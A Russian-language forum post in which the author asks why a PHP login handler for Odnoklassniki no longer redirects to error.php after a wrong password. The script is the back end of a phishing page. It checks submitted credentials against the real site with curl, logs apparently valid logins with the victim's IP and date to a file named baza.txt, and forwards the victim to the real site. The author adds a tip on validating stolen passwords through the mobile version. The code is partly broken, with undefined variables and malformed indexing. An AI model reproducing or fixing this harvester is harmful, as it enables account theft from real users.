Что то недавно поменяли на одноклассниках, перестал работать код авторизации на одноклассниках с валидацией данных. Точнее - работает: если данные введены верно то как и надо авторизует на свою страницу, но если введены неверно вместо переадресации на ошибочную страницу error.php, он выбрасывает на http://odnoklassniki.ru/dk?st.cmd=anonymMain&st.error=errors.password.wrong&st.email= Где загвоздка? PHP: <?php if($_POST['st.email'] && $_POST['st.password']) { $ip = $_SERVER['REMOTE_ADDR']; $Data = date("d-m-y H:i:s", time()); $gfl=curl_init("http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin&tkn=810&st.redirect=&st.posted=&st.email=".$_POST[st.email]."&st.password=".$_POST[st.password]."&st.remember=&st.fJS=&st.screenSize=&st.browserSize=&st.flashVer=&button_go=Войти HTTP/1.0\r\n"); curl_setopt($gfl, CURLOPT_RETURNTRANSFER, true); curl_setopt($gfl, CURLOPT_HEADER, true); curl_setopt($gfl, CURLOPT_NOBODY, true); $fgh = curl_exec($gfl); if(!preg_match('/Location: http:\/\/www.odnoklassniki.ru\/dk?st.cmd=anonymMain&st.error/',$fgh)) { $flopen=fopen("baza.txt", "a+"); fwrite($flopen, $login.":".$pass." IP:".$ip." Дата:".$Data."\n"); fclose($flopen); header("Location:http://odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin&tkn=810&st.redirect=&st.posted=&st.email=".$_POST[st.email]."&st.password=".$_POST[st.password]."&st.remember=&st.fJS=&st.screenSize=&st.browserSize=&st.flashVer="); } else { header("Location:error.php"); } } else { header("Location:error.php"); } ?>
Я использовал для авторизации мобильную версию. Там при валидном пассе идет переадресация, при невалидном переадресации нету. Поэтому проверять проще.